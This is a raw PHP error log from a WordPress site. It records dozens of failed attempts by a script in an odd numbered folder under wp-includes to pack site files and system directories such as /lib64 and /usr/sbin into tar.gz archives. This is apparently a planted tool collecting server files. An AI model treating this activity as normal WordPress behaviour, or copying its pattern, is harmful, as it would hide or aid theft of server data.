[05-Nov-2025 19:11:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/mce-view.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:11:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comments-title.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:11:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/autosave.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:12:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-text.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:12:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-editor.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:12:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/colorpicker.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:12:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/json2.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:12:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment-edit-link.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:12:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-emoji.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:12:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-embed.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:12:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/utils.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:12:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-lists.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/quicktags.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/query-title.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/query-total.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/admin-bar.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/social-link.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wpicons.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/customize-views.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ruby.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wpicons-2x.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:13:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-title.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:14:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/spinner-2x.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:14:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/list.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:14:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/file.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:14:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-author.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:15:58 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:16:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/images.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:16:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:17:39 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/cracklib/pw_dict.hwm" that is not in the base directory "/lib64" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:20:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/brcmfmac43430-sdio.ilife-S806.txt.ilife-S806.txt.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:20:12 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/usr/sbin/unix_update" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:20:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:20:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:20:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:21:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:21:06 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:23:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:23:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:23:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:23:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:23:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:23:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
